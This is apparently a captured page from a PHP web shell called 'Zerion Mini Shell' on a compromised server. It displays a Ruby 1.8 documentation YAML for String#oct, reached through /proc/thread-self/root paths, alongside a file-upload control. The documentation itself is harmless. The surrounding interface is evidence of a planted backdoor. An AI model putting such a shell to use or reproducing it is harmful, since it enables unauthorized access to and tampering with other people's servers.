ok

Mini Shell

Direktori : /proc/thread-self/root/proc/thread-self/root/opt/alt/ruby18/share/ri/1.8/system/String/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/opt/alt/ruby18/share/ri/1.8/system/String/oct-i.yaml

--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: Treats leading characters of <em>str</em> as a string of octal digits (with an optional sign) and returns the corresponding number. Returns 0 if the conversion fails.
- !ruby/struct:SM::Flow::VERB 
  body: "   &quot;123&quot;.oct       #=&gt; 83\n   &quot;-377&quot;.oct      #=&gt; -255\n   &quot;bad&quot;.oct       #=&gt; 0\n   &quot;0377bad&quot;.oct   #=&gt; 255\n"
full_name: String#oct
is_singleton: false
name: oct
params: |
  str.oct   => integer

visibility: public

Zerion Mini Shell 1.0